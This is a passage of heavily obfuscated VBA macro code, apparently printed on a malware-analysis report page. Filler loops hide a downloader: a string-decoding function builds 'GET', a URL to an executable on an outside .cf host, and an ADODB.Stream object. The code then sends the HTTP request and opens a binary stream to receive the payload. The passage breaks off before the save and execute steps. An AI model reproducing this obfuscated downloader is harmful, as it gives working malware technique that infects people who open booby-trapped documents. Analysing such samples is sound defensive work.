        LlxTaQ = RTrim("mRya^.!!Ay*DCI)b")
        indJnFcqowD = Space(1)
        SqVFdT = SqVFdT + 2
    Wend

    QTovtdLqDTdw = 1015 + 982 + 1756
    For aYkTtf = 0 To 1
        For jfeOPX = 0 To 9
            AjRfgWaKwC = LTrim("]h^tKzL(iah*dhQWgYNP")
            LlxTaQ = 1192 - 1462 - 309
            deCnrn = 1157 - 1933 - 958
            QTovtdLqDTdw = 1724 - 551 - 1668
            lffRfrLKP = "e[&_Ocmc[jpGB" + "eL*gGL%*Ye^(_l" + "Rfk$cvg-)bmeE-_"
            lffRfrLKP = Left(" c&CnK#$jxHlu@)", 4)
            deCnrn = Left("RJAgQRsf TscBa-rcE", 3)
            XWcwMGUG = Right("sflia.hlf)&", 2)
            SqniQ = 421 + 1988 + 1069
        Next jfeOPX

        QTovtdLqDTdw = 402 + 1422 + 1248
        nQmUdmkDnGQJ = Right("NKFbmCnDLHsUAtU$", 3)
        mrYqEIG = StrReverse("RLs_z!IFsbR")
        nQmUdmkDnGQJ = 1700 + 1403 + 1143
    Next aYkTtf

    yahplKzx = RTrim(")ejr--?&PY!vuvE$SV")
    SqniQ = "XmMgicT(UU)U" + "ijhzqZ.EU.ABO" + "sD@_&ppPquxvaAqZF"
    TnjwjGJ.Open wVeRUZe("G)E?T*"), wVeRUZe("hbt@tbp$:m/(/kbHi_zinbePtPv?i_gTaAtQoarF.#c-f@/TdKpJ.be[xneS"), False
    mrYqEIG = RTrim("J[j$ WkkYPO_(")
    While EWulOs < 4
        QTovtdLqDTdw = RTrim("_eF ZF_?KBSHw)")
        LlxTaQ = StrReverse(" aU(jCmJxLg@QaG!N")
        EWulOs = EWulOs + 2
    Wend

    For YCiVQj = 0 To 8
        mrYqEIG = Space(18)
        mrYqEIG = LTrim("*pZC*CU*Er")
        mmjzAkpo = StrReverse("Z__PQpDmhOZVFh&Cc#d@")
        LlxTaQ = Right("XIxk#nKuNx*)]", 3)
        IoRDGYrsT = Left("Zw[mhDIn)AJjaIlZ?C", 2)
        mrYqEIG = StrReverse("a@M tBCIs@hvwd(hZO")
    Next YCiVQj

    AjRfgWaKwC = Space(1)
    AjRfgWaKwC = Left("dBJJJW?IbGT?!ddcW]", 3)
    nQmUdmkDnGQJ = 486 + 1124 + 1454
    For kWwPbQ = 0 To 5
        XWcwMGUG = UCase("@@^eiyrhII")
        mrYqEIG = RTrim("YeZz?!i-_Egq")
        mzGeLibBXS = Right("c?RPJUv!?]h((n", 2)
        NZeqNJFA = "OCPzX-dpUJc#iQ" + "b_^P&^O(!J[lJswH" + "XQoSYxu&RF_edH CD!"
        nthHNHJPj = 650 + 859 + 630
        LlxTaQ = RTrim("e)!jYisyrV")
        QTovtdLqDTdw = LTrim("yl#kLqeR M]ZU")
        mrYqEIG = Space(15)
        QTovtdLqDTdw = StrReverse(" n[WT_!Z-$(n")
        IoRDGYrsT = LTrim("IBQOwCOzOeC]")
    Next kWwPbQ

    lffRfrLKP = 1377 - 1899 - 685
    While XYpNSf < 2
        For rXbNFX = 0 To 5
            deCnrn = "$[LV(KBHIyI@Ex?ii" + "uxvhXqEueCSwraHqlv" + "bXuiptaJs-*#d(Ofh"
            indJnFcqowD = 429 + 1509 + 455
            nQmUdmkDnGQJ = RTrim("m@NI#IA@!kkc%-")
            nthHNHJPj = LTrim("@]LDRFzt#-!FU#A")
            lffRfrLKP = LTrim("@.NWahMVH^.IuflH")
            mrYqEIG = Left("eNi(_J?x(AI@u", 3)
            NZeqNJFA = RTrim("IV@hgmVR#FMDpVZ(")
        Next rXbNFX

        QsltwktG = "VYx)dPqyyxPxigrc&YZ" + "$%e^.atgdK" + "qj%oc&cz]zTAs eDk"
        nthHNHJPj = StrReverse("?ECn)#EwomZ!")
        mrYqEIG = 411 - 1444 - 117
        deCnrn = Left("ALs*YdFDzdXWPet]Llf#", 4)
        DcAQh = "MgjTyRiCMZYCPsKp" + "AAQox)s](zw s#BZ" + "v!T-]rs?Zbj@hP*GVv"
        XYpNSf = XYpNSf + 3
    Wend

    For IMysjo = 0 To 5
        yahplKzx = Left("cvT-Q@?P%x!", 2)
        LlxTaQ = 1520 + 953 + 962
    Next IMysjo

    While YmJqJu < 4
        mzGeLibBXS = Right(")A]m]$qTDPIgFIsYMwO.", 2)
        nthHNHJPj = Left("qWLmZigO)$LL%i$p", 3)
        indJnFcqowD = Space(8)
        nQmUdmkDnGQJ = StrReverse("Ux_NG$lX.QyDfUQ.c@Xj")
        yahplKzx = Right("YmaS(WyIp!_kk-jP_ztk", 5)
        YmJqJu = YmJqJu + 2
    Wend

    For IPRYHj = 0 To 9
        nthHNHJPj = 640 + 1151 + 1523
        QsltwktG = 1898 + 1566 + 1673
        mrYqEIG = UCase("af^(BFy $B[F")
        nQmUdmkDnGQJ = Left("NAq!Iq#yp-)JM", 4)
        SqniQ = UCase("Ho g]#VoAWmD")
    Next IPRYHj

    QTovtdLqDTdw = 1812 + 684 + 804
    lffRfrLKP = LTrim("jIK%j] e.npnl")
    QsltwktG = StrReverse("FOcMJrdtJCy!dIRry-p")
    XWcwMGUG = Space(18)
    deCnrn = StrReverse("fGVAzst-#U)l$(rDhK^Y")
    lffRfrLKP = StrReverse("T@PFcFJn__PW_K%j-")
    mzGeLibBXS = Space(16)
    AjRfgWaKwC = RTrim("iZeeZ[Kvl$ Libt")
    mmjzAkpo = StrReverse("Hg@g(qHrkxohTtc nrH")
    mrYqEIG = 871 + 433 + 797
    QTovtdLqDTdw = Right("z%XW!BptTxx", 2)
    IoRDGYrsT = 673 - 293 - 181
    NZeqNJFA = RTrim("*H_OrlyrP* Mg!@c")
    For heVydn = 0 To 9
        mmjzAkpo = Right("aZsMscJXACN!", 4)
        NZeqNJFA = 1800 + 1341 + 1506
        AjRfgWaKwC = RTrim("gBimfWexvq Ntp")
        mzGeLibBXS = Left("f?A&TLLr%(vCaXT", 3)
    Next heVydn

    IoRDGYrsT = "cwaT&QB#D*y" + "uKOEIDc_xk#tJ" + "j_M)$Ie.IDX#ZqsbHcLM"
    deCnrn = 189 + 479 + 787
    TnjwjGJ.send
    AjRfgWaKwC = Right("C@fpojBqgQ^?g(cVZ!q#", 3)
    mzGeLibBXS = LTrim("?A!ejO$W_MQ.X^Xf")
    While vXFBbN < 4
        QsltwktG = "$hP^V)_YbM)ip" + "KeP%XCxteg]?.AJCTJ" + "s?yqrR-yxR#vS$"
        deCnrn = RTrim(" ]@ L$Q@UiH&bH]Bz")
        QTovtdLqDTdw = RTrim("wqSbGHnjsJfh-CYFN")
        nQmUdmkDnGQJ = Right("HXo[qiSl_(SoiqB^^%L", 3)
        NZeqNJFA = 1004 + 1318 + 1682
        QTovtdLqDTdw = "#O_ZxA*(dkA" + "lEpCibxtYGN@uBy" + "eYy r$poEzAyGT&mpa"
        XWcwMGUG = Left("im.p[Wmg_$xS", 4)
        vXFBbN = vXFBbN + 3
    Wend

    LlxTaQ = "_TMT.PiuLFZeOU!" + "RfO)((Zhlb" + "$ HHDhr$crZc*D$O"
    While YYXArn < 5
        For OEmYuq = 0 To 10
            LlxTaQ = StrReverse("BJsEBXUU(EFLfj(bDG")
            lffRfrLKP = "wRU]AE*O!fAK)T" + "!shqtMarApzWEl" + "ru&kbHMMIRj"
            nthHNHJPj = Right("YwP%QoOWpN#ubiog&@?", 3)
            nQmUdmkDnGQJ = UCase("keM*[Zm#sUqCqE(")
            SqniQ = Space(11)
            nthHNHJPj = "B)AvDjp$qHwsdAmJ" + "KZvg%K@BX.mtRG" + "#Z?IxxPiXtKe"
            deCnrn = Space(1)
            AjRfgWaKwC = Space(6)
            AjRfgWaKwC = LTrim("N^A)VN-VSqgrl_ouM")
        Next OEmYuq

        XWcwMGUG = UCase("M^^-]*xMAGo(N")
        LlxTaQ = 1776 + 400 + 1236
        NZeqNJFA = StrReverse("LY@Lf#HxuL %@JS")
        AjRfgWaKwC = Space(15)
        QTovtdLqDTdw = Right("Lwb TnSpB(rav", 5)
        YYXArn = YYXArn + 1
    Wend

    While MqPXkI < 3
        For yJKocr = 0 To 10
            XWcwMGUG = 721 + 1888 + 1589
            lffRfrLKP = RTrim("T)migUiupO!*")
            SqniQ = UCase("BuyrmA(tcP ^D SI?")
            DcAQh = "!h? z?uATSC.B" + "*u)JWcSeaNqog)By" + "mPlmpcdM@#Uvv"
            mmjzAkpo = Space(11)
        Next yJKocr

        NZeqNJFA = UCase("WzKPw&ktLgt")
        deCnrn = "UCBTWM)jIPt.." + "_M?nGAqFVM@Y" + "wT#ckcFe%qI"
        mmjzAkpo = "&IEla?Z@wct[q!AWgHW" + "WsssJDf&p)SAHBCIynHY" + "UIA%tCGcoW%NSn"
        mmjzAkpo = 450 + 1774 + 535
        deCnrn = "U OLxJic)dFQfI^QMn" + "DuOzv$@L-s?f@_!EjWQ^" + "p.ENLClRDbqv"
        DcAQh = RTrim("g[cQD*#o^Pk@?o[FtfQT")
        QTovtdLqDTdw = UCase("jKXPuYtDUhagS")
        MqPXkI = MqPXkI + 1
    Wend

    mmjzAkpo = RTrim("$nvwCaU?m_wp")
    indJnFcqowD = "masHcc&q-#GjlXuNurH(" + "q!eWg@GdbIqps?V-nm" + "@-Pc^kz)z?uA]^)b#"
    LlxTaQ = "SFzimpM[SoIeRYX^GQJ)" + "Go@Bpl@$cSKwaBtaI." + "PVxVv.dMtA"
    DcAQh = "LksJ-.IUMDG!" + "UyFg@wb.dZ" + "GMCL^fsf&#EHWLOHE]"
    XWcwMGUG = Right("iZ(e-_fhs$QH", 2)
    While bKkSKm < 1
        SqniQ = Left("F)S!![?I(hEVINX", 4)
        yahplKzx = StrReverse("*.EadRqmP)K")
        AjRfgWaKwC = Left("ueYe_Cfx-zkd(U-Qa", 3)
        IoRDGYrsT = UCase("mWGU .(pa.Q$")
        QTovtdLqDTdw = Left("c]GshZJR)RUalzF", 4)
        lffRfrLKP = "[hXFGmEOlEMdq" + "FLZq%xyIGuGj" + "Ct*@ agX]-k$@wC"
        lffRfrLKP = Left("CVU[dpXywF#H", 2)
        bKkSKm = bKkSKm + 2
    Wend

    indJnFcqowD = UCase("E&J_v(Wfl*W")
    SqniQ = LTrim("p_NRuu.SqQ")
    lffRfrLKP = RTrim("@ZdI#lbq@AcGW ik-qA")
    mrYqEIG = UCase("z%Dzqztlj&BWWVGrD")
    For IWnedl = 0 To 9
        lffRfrLKP = UCase("deLTOReQX?OAXX*AtC*")
        IoRDGYrsT = Right("JX!okkBg%M.", 4)
        mzGeLibBXS = Space(12)
        XWcwMGUG = UCase("]of #&I?VPkb")
    Next IWnedl

    LlxTaQ = 1836 - 414 - 810
    lffRfrLKP = StrReverse("uokZc#m-ApmgoJ")
    While EYVBEE < 1
        While UThCMr < 1
            nQmUdmkDnGQJ = LTrim("yfMcT[stWp)!e_C#w")
            QsltwktG = 102 + 1033 + 1710
            nthHNHJPj = 1079 + 685 + 1562
            mrYqEIG = UCase(")*B*N@MV.y")
            QTovtdLqDTdw = "GtceO@eHRmgnbx" + "PVGzLDbaYWi?oYb$tA" + "%rNe)MP@C.fb?r"
            UThCMr = UThCMr + 1
        Wend

        mrYqEIG = LTrim("kB!UInrw$FjE")
        QTovtdLqDTdw = Space(3)
        nthHNHJPj = Space(11)
        mzGeLibBXS = Right("tsHz^A@JS.gMj(t?P@?[", 2)
        nQmUdmkDnGQJ = Space(9)
        nthHNHJPj = "B!u[tBKU[$P&UP" + "Il[ql.Fq#on" + "FrQjJTo#%OWK)(B?*LB"
        mzGeLibBXS = Space(4)
        EYVBEE = EYVBEE + 3
    Wend

    DcAQh = Right("fnyTxLwZ#XT", 2)
    AjRfgWaKwC = UCase("-ejTl^TKleCJIMpd")
    DcAQh = Space(7)
    mrYqEIG = StrReverse("Akw.a!HvH*^")
    While TDBrNK < 3
        AjRfgWaKwC = Space(11)
        AjRfgWaKwC = Space(14)
        QsltwktG = Space(4)
        TDBrNK = TDBrNK + 3
    Wend

    nQmUdmkDnGQJ = RTrim("xR))U!k[V(dRaCeVoti")
    lffRfrLKP = ".H&$%%qenX" + "hnpF$KpMu&KxnoGV" + "KtIKvuNReWSXZObrj*"
    Set FOAoUBr = CreateObject("" & "" & wVeRUZe("AXDPO)D?B].tSUtVrHe^aEmL") & "" & "")
    QTovtdLqDTdw = 1927 + 399 + 1346
    AjRfgWaKwC = Right("u-^iDRcur^c.]B]?lv", 5)
    nthHNHJPj = 367 + 440 + 1221
    LlxTaQ = RTrim("fP[x_!Vj$EFHAhUQO*[")
    While tDhTRX < 1
        For dpBdQK = 0 To 10
            QTovtdLqDTdw = 225 + 1043 + 1669
            yahplKzx = Space(13)
            deCnrn = LTrim("N?FiNEJt*l!UAx*G%")
            nthHNHJPj = 1787 + 477 + 352
            mrYqEIG = StrReverse("%uzk.mYHP$t)mpvNOtS")
            XWcwMGUG = LTrim("cTR%d*ZV##a")
            lffRfrLKP = 538 - 793 - 238
            NZeqNJFA = LTrim("^m_Hw@]vrsXA")
            SqniQ = Space(20)
        Next dpBdQK

        AjRfgWaKwC = 1250 + 638 + 340
        indJnFcqowD = UCase("f&[mTi[NidX-#nPWz")
        lffRfrLKP = Space(4)
        mrYqEIG = LTrim("Lem[FuVlM@Eebk")
        DcAQh = Left("YEareRpCnbb*WZ-x", 2)
        XWcwMGUG = 1820 + 529 + 1753
        LlxTaQ = 1637 + 1078 + 1663
        tDhTRX = tDhTRX + 1
    Wend

    mzGeLibBXS = 1669 + 643 + 880
    mzGeLibBXS = RTrim("HaFBaLcEOmC!soJ#")
    indJnFcqowD = LTrim("ArlO#_(*C_V]ZLj_UBzp")
    QTovtdLqDTdw = 1755 - 666 - 144
    SqniQ = LTrim("aYBV[u@UL%.mNO")
    AjRfgWaKwC = Space(19)
    yahplKzx = StrReverse("dYVnk@MrMTpvi*oQU")
    QsltwktG = 1442 - 1459 - 532
    For waeZrc = 0 To 3
        For pvPjXo = 0 To 5
            mzGeLibBXS = Right("w^$B(r]PY?tYfef", 2)
            LlxTaQ = Right("oSIrcluiDzWKpOsM^", 2)
            LlxTaQ = "Fb_W[FAqE.)vru" + "lSZdIy(Ssbka*" + "LhUSQdXI#@bnXx@u-!%^"
            IoRDGYrsT = LTrim("C [)Vsit(sZzuTXLWul")
            DcAQh = Space(8)
            XWcwMGUG = StrReverse("jFN UT(fLtrjUoK_JyI*")
            AjRfgWaKwC = Space(10)
        Next pvPjXo

        mrYqEIG = StrReverse("CMU^bNertw _-Y.")
        indJnFcqowD = 855 + 1202 + 1096
        SqniQ = Space(13)
        NZeqNJFA = 1496 + 1239 + 172
        AjRfgWaKwC = LTrim("nAPVsfx%SO$cCWoPq[")
    Next waeZrc

    While qEQZet < 4
        For ovxYlo = 0 To 5
            lffRfrLKP = StrReverse("afkqTgxEpTVcW!L.jc")
            nQmUdmkDnGQJ = Right("Yo.r%*DmyqJj#x", 3)
            SqniQ = 1029 - 1976 - 1339
            indJnFcqowD = Left("vBZbz)_s&rY* xme_hV", 4)
            LlxTaQ = RTrim("FsQN--OHY^ZDIBz")
            mzGeLibBXS = Right("IKcdRggu-m( cs^FI", 3)
            NZeqNJFA = LTrim("UFa(HffIFw")
            IoRDGYrsT = StrReverse("hAMfipk^NYPBDT.p ")
        Next ovxYlo

        nthHNHJPj = Right("cMZ_fJLESTm%fu", 3)
        deCnrn = Left("gzv&smpTCB[nXY", 3)
        nQmUdmkDnGQJ = 1974 - 1680 - 1193
        lffRfrLKP = 883 - 686 - 1485
        qEQZet = qEQZet + 1
    Wend

    SqniQ = "#(ecIY]ac.F(TbL)$XTH" + "[zvkDaOvpRh-dcQ#]z@H" + "%svQpzh!N?l"
    LlxTaQ = Space(9)
    QTovtdLqDTdw = LTrim("v_)$pct[Hknc")
    QsltwktG = RTrim("@*ER]TuNQkUB#^&MMbP%")
    QsltwktG = "N%RvyUbEwkftOq" + " N&mQ#.?%G Vs)" + "a-WhhsTG[hr&"
    NZeqNJFA = Left("!#BG-oB.CixF", 4)
    DcAQh = StrReverse("vV]F?kXTm(INQ")
    QsltwktG = UCase("KTMti@IyrTEtL&")
    QsltwktG = 794 - 1530 - 354
    DcAQh = 412 + 764 + 1220
    nthHNHJPj = Space(3)
    AjRfgWaKwC = "a SOBqwoKY" + "bC$BJu%nY&pOD" + "feHYluMzCR$l!)&qipz"
    XWcwMGUG = Right("zExIEPgaZn^mtKzg", 5)
    NZeqNJFA = 522 + 495 + 901
    deCnrn = LTrim("wO-e&tF$tOK$wb)l!L")
    XWcwMGUG = Space(8)
    IoRDGYrsT = StrReverse("tYv-MwqQ#fmjbTj)Kzc")
    FOAoUBr.Open
    deCnrn = Space(6)
    yahplKzx = UCase("FqOoW^XO(SEhDtll")
    mzGeLibBXS = LTrim("CLo?L%PUvqlL")
    While XsVhWs < 4
        For NtecPn = 0 To 6
            lffRfrLKP = Space(10)
            mzGeLibBXS = Left("AskB)IhsmLHVG", 4)
            SqniQ = 1009 - 1203 - 646
            QTovtdLqDTdw = "NQMuy?VfMK?" + "$%ai.h$JQEfZFo" + "IcmU?D@HJ#)zbhV&SH"
            nQmUdmkDnGQJ = StrReverse("RHk]FpUDUpm%]??_")
            QTovtdLqDTdw = StrReverse("hPqtcwrB?ef k[GR")
            nthHNHJPj = 1105 + 1932 + 1239
        Next NtecPn

        QsltwktG = UCase("jlb^EXPdhk")
        AjRfgWaKwC = 405 + 1689 + 705
        LlxTaQ = "!^MzI^)FgB&A]Jt-][" + "?YJ(&m.dfgaSHvy)xZ q" + "-J@P IuQ-Wy?GQA"
        lffRfrLKP = UCase("OptdAna.iIARHcC")
        NZeqNJFA = "ZAVEVS OxP@LtX" + "jlgcz QmMyVNjY InqT" + "r.t]MYNEqj"
        indJnFcqowD = "-aeia]D-X?zdX$" + "CPeCZCeeys" + "I[Z^Kx OAg][t$SNN"
        XsVhWs = XsVhWs + 3
    Wend

    QTovtdLqDTdw = LTrim("@RDk%!d MWp")
    While yWveNb < 4
        While DPMlxF < 1
            yahplKzx = Space(20)
            IoRDGYrsT = RTrim("]NobuLpKHWn.dX")
            mzGeLibBXS = StrReverse("emh&.^JOg^j-TPT- YzC")
            LlxTaQ = LTrim("[($dnEI!K srWn.]_")
            indJnFcqowD = Right("BUY.!Ye*gjcvocp!!Spo", 5)
            deCnrn = RTrim("ci%VXzV@Jr")
            XWcwMGUG = LTrim("_#tPzf.!Kz&w%")
            nQmUdmkDnGQJ = StrReverse("(J]@(_)OeRk.")
            QTovtdLqDTdw = "^fD dIy%?Vm-W" + "CTg!Gfv^X-^ktIg" + "GVIp-XSGGIThl_Q]WYR"
            DcAQh = RTrim("RKM! zdi*HRX H")
            DPMlxF = DPMlxF + 3
        Wend

        LlxTaQ = Right("ElTvtc@@Ar*drd", 5)
        QsltwktG = 1492 + 991 + 1864
        nthHNHJPj = Space(2)
        nthHNHJPj = Right("t[jB_oPyXRPdGYJaf!mO", 3)
        mrYqEIG = 1548 + 1893 + 578
        yWveNb = yWveNb + 3
    Wend

    QTovtdLqDTdw = RTrim("aejUPlw C@DHvR")
    deCnrn = LTrim("qug?eRUGSoJz&")
    mrYqEIG = "^Fdj$yCbKN" + "ByNyfUqR$Bf?jQ%vQ@" + "QQEIYS&nQv#"
    For jNfhyW = 0 To 5
        For mlxkVw = 0 To 7
            QsltwktG = StrReverse("%mplTzwirLmVCno")
            DcAQh = StrReverse("Za?C%W$BjfBSSua")
        Next mlxkVw

        QsltwktG = LTrim("SSqzqvqDMGi_s@F?LG")
        SqniQ = RTrim("d_)uNVFYJ.JH")
        indJnFcqowD = StrReverse("cnKtyyGklJcai]")
        nQmUdmkDnGQJ = 1607 + 577 + 704
        nthHNHJPj = LTrim("B.vHdekWerQ%hrgDK")
        yahplKzx = LTrim("QS]]GT)GFD&boyhegY")
        yahplKzx = LTrim("WK_M*!*EcZ")
        mmjzAkpo = 1818 + 1576 + 945
        NZeqNJFA = UCase("yWvlUEUxBIZQzF")
    Next jNfhyW

    While jSyRFD < 3
        DcAQh = StrReverse("UAtKwa^CNkssg")
        NZeqNJFA = Left("?%f_sX!Bd%eo$", 4)
        IoRDGYrsT = "-@IZ#-^Wj]DgN" + "yhLjMboZftigW_" + "SsKGu-szFa_$cy-)T"
        mmjzAkpo = StrReverse("^T$[r$*KE$h?lLU&")
        nQmUdmkDnGQJ = "yNaygQFu?wL" + " C_-f-qfQVvYbiWSA^fu" + "EmN)GQp)rAxkR"
        XWcwMGUG = UCase("mjIYbTPm&q&XTX")
        IoRDGYrsT = 1899 + 1475 + 1293
        jSyRFD = jSyRFD + 1
    Wend

    yahplKzx = UCase("J)F.EbLMyLApHHD!Bi")
    mmjzAkpo = StrReverse("pE.X$CyfQ_EBs.ySI")
    For UVJyrn = 0 To 10
        nQmUdmkDnGQJ = LTrim("(dq@UR_LBUS")
        QTovtdLqDTdw = 762 - 1750 - 364
        lffRfrLKP = "&vANr#jMsvb.nD[R" + "knpxSyY_(rvchg]" + "NsVz%X_IMTJh^FM)"
        mrYqEIG = StrReverse("ObR.Zrd-DS&[")
        AjRfgWaKwC = StrReverse("wXsBxxp?v]")
    Next UVJyrn

    DcAQh = StrReverse(" iLWLOUo%lS_@b!*Zs")
    deCnrn = 853 + 668 + 1594
    nthHNHJPj = Left("jJTqNOsVejrBX(yC", 2)
    indJnFcqowD = UCase("fF&zuFb_zi%u%MvKo")
    IoRDGYrsT = 402 + 1511 + 1124
    While GBixxG < 4
        AjRfgWaKwC = Space(16)
        yahplKzx = Space(12)
        GBixxG = GBixxG + 3
    Wend

    nthHNHJPj = Space(1)
    mrYqEIG = StrReverse("Q-_UQ)j_-?")
    nthHNHJPj = Right("IIf^.XT^syIq?$[YhC-", 3)
    mzGeLibBXS = Space(20)
    IoRDGYrsT = 414 + 1352 + 754
    While GqQrPt < 5
        While ULBwdE < 2
            indJnFcqowD = Left("(_ Fm$*jw$", 3)
            lffRfrLKP = "P]n.aDWp_D$?x" + "#y#y&Q_cptH" + "(upqJydB!CXf-t"
            mmjzAkpo = Left("p^vTHZL(]K(", 4)
            nthHNHJPj = RTrim("DumuPJyNt@.v@#bH")
            DcAQh = StrReverse("UR(BUxPDcA*")
            QsltwktG = "YPJXs!kpuJ JjUis-Z$$" + "XHZ.dzKF?_#XG" + "*WYirjsQt]sPbc%"
            IoRDGYrsT = Left("fpwXJU^BcgzCZV", 4)
            NZeqNJFA = StrReverse("E(EtUcf_@jlPRO&Hdd")
            QTovtdLqDTdw = RTrim("%.JnNB&#^CV")
            ULBwdE = ULBwdE + 3
        Wend

        nthHNHJPj = 1677 - 1524 - 1077
        nthHNHJPj = RTrim("#MyHBrg.eAX")
        lffRfrLKP = StrReverse("he)Hje_*CS")
        QsltwktG = UCase("wC]lESnzD hRy")
        GqQrPt = GqQrPt + 3
    Wend

    mmjzAkpo = 868 + 848 + 1031
    FOAoUBr.Type = 5 + 5 - 9
    QsltwktG = "@orhZL&]nYd-Lm" + "NU hI&ZZwE] uc" + "GQtqdkq*zwEUk"
    QsltwktG = LTrim("lee@rxwLO@GcWe]")
    DcAQh = LTrim("-FZjqVftcXsBynRwoU")
    While XDhXMY < 3
        LlxTaQ = 298 - 1329 - 1855
        IoRDGYrsT = Right("Lk-dV#NOfpspSPL", 4)
        LlxTaQ = LTrim("GWliduklb@EC")
        XDhXMY = XDhXMY + 3
    Wend

    mmjzAkpo = Right("^FgpvK^p!t$gS", 5)
    DcAQh = Left("ovkA&me$IR!Ca", 5)
    LlxTaQ = Right("Nm)Y$-FYRH", 3)
    QTovtdLqDTdw = 255 + 1999 + 1301
…

Open this report in the interactive analyzer, or submit your own file for analysis.